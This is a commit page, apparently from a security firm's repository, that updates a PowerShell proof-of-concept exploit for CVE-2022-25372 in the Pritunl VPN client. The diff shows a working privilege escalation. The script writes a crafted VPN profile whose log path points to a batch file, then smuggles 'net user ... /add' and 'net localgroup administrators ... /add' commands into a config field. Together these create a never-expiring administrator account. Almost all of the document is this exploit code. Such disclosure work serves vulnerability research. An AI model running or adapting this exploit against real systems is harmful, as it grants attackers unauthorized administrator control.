Update CVE-2022-25372.ps1

- Updated PoC to demonstrate privilege escalation by creating a new user and adding them to the administrators group.
RhinoSecurityLabs · Jun 29, 2023 · 668b0dd · 668b0dd
1 parent f10d1f6
commit 668b0dd
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/CVE-2022-25372/CVE-2022-25372.ps1 b/CVE-2022-25372/CVE-2022-25372.ps1
@@ -1,2 +1,2 @@
 $profile_id = ((Select-String '{"name":"privesc"' $env:APPDATA\pritunl\profiles\*).filename).split('.')[0];
-while (1){"client`ntls-client`ndev TUN`nlog `"C:\\Program Files (x86)\\Pritunl\\ipconfig.bat`"`nauth-user-pass`nca `"INJECTED CONTENT`"" | Add-Content "C:\ProgramData\Pritunl\$profile_id"}
+while (1){"client`ntls-client`ndev TUN`nlog `"C:\\Program Files (x86)\\Pritunl\\ipconfig.bat`"`nauth-user-pass`nca `"& net user test SecurePassword123 /add /expires:never /passwordchg:no && net localgroup administrators test /add &`"" | Add-Content "C:\ProgramData\Pritunl\$profile_id"}